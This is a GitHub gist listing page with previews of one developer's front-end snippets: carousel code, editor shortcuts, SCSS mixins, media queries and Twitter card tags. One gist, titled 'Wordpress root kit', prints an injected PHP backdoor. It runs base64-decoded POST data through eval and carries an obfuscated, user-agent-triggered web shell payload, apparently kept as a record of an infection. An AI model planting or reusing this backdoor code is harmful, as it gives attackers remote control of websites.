Skip to content

Instantly share code, notes, and snippets.

@jdeagle
jdeagle / LazySusan.as
Created July 16, 2012 23:13 — forked from rynbyjn/LazySusan.as
AS3 LazySusan/Carousel class for moving objects around a circle with pseudo 3D
package com.boyajian.ui
{
import com.greensock.TweenLite;
import flash.display.DisplayObject;
import flash.display.DisplayObjectContainer;
import flash.display.Sprite;
import flash.display.Stage;
import flash.events.Event;
@jdeagle
jdeagle / gist:3179261
Created July 25, 2012 23:07 — forked from lucasfais/gist:1207002
Sublime Text 2 - Useful Shortcuts

Sublime Text 2 – Useful Shortcuts (Mac OS X)

General

⌘T go to file
⌘⌃P go to project
⌘R go to methods
⌃G go to line
⌘KB toggle side bar
⌘⇧P command prompt
var globals = {
settings : {
TEMPLATE_DEBUG : true
},
USE_LOCAL_JSON : true,
STATIC_URL : "static/",
SCHEDULE_FEED_URL : ( !this.USE_LOCAL_JSON ? "feed/schedule/" : "static/json/schedule.json"),
@jdeagle
jdeagle / gist:3734855
Created September 16, 2012 23:47 — forked from doctyper/gist:3718320
Uninstall all NPM modules
npm list -g | awk '/@/ {print $2}' | grep '@' | awk -F@ '{print $1}' | xargs npm -g uninstall
@jdeagle
jdeagle / % Shortcut to Placeholder.tmSnippet
Created October 26, 2012 18:25 — forked from doctyper/% Shortcut to Placeholder.tmSnippet
Placeholder Shortcut for Sublime Text 2 / TextMate
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>content</key>
<string>@extend %$0;</string>
<key>name</key>
<string>% Shortcut to Placeholder</string>
<key>scope</key>
<string>source.scss</string>
@jdeagle
jdeagle / gist:4003501
Created November 2, 2012 18:46 — forked from doctyper/gist:1644192
Just some animation SCSS mixins.
@mixin animation($animation, $animation-2: none, $animation-3: none) {
@each $prefix in webkit, moz, ms {
#{""}-#{$prefix}-animation: $animation, $animation-2, $animation-3;
}
}
@mixin animation-name($name) {
@include experimental(animation-name, $name);
}
@jdeagle
jdeagle / gist:4003806
Created November 2, 2012 19:30
Get all images and background images on the page
getImageURLS : function () {
var images = [],
key = {},
tags = document.getElementsByTagName('*'),
url,
el;
for (var i = 0, len = tags.length; i < len; i++) {
el = tags[i];
@jdeagle
jdeagle / ios-test.css
Created November 6, 2012 19:43 — forked from mattyoho/ios-test.css
iOS Media Queries
// iOS Media Queries
// Goal: capture styles for iPhone, iPhone 3G, iPhone 3GS, iPhone 4, iPhone 4S, iPad, and iPad 2
//
// Author: Tony Schneider (@tonywok)
// Please tell me where I fail. :)
// iPhone v(4,4S) portrait
// test: black text (overwritten by v* portrait) with blue background
@media all and (-webkit-min-device-pixel-ratio: 2) and (orientation: portrait) {
a {
@jdeagle
jdeagle / wordpressRootKit
Created November 27, 2012 20:18
Wordpress root kit
// Injected VIA
<?php if ($_POST["php"]){eval(base64_decode($_POST["php"]));exit;} ?>
<?php
$ref = $_SERVER['HTTP_USER_AGENT'];
$keywordsRegex = "/AtOPvMzpDosdPDlkm3ZmPzxoP/i";
if (preg_match($keywordsRegex, $ref)) {
$a='bas'.'e6'.'4_d'.'ecode';eval($a("QGluaV9zZXQoJ2Vycm9yX2xvZycsTlVMTCk7DQpAaW5pX3NldCgnbG9nX2Vycm9ycycsMCk7DQpA
aW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsNCkBzZXRfdGltZV9saW1pdCgwKTsNCkBz
ZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7DQpAZGVmaW5lKCdXU09fVkVSU0lPTicsICcyLjUn
KTsNCg0KaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkgew0KCWZ1bmN0aW9uIFdTT3N0cmlwc2xh
@jdeagle
jdeagle / gist:4279580
Created December 13, 2012 20:36
Twitter player card video meta tags
<meta name="twitter:card" content="player">
<meta name="twitter:site" content="@jdeagle">
<meta name="twitter:url" content="http://jamesdeagle.com">
<meta name="twitter:title" content="The Streets is here">
<meta name="twitter:description" content="Some quality tricks right here">
<meta name="twitter:image" content="http://placekitten.com/500/500">
<meta name="twitter:player" content="https://www.youtube.com/embed/PhWj3xDWrfE">
<meta name="twitter:player:width" content="435">
<meta name="twitter:player:height" content="251">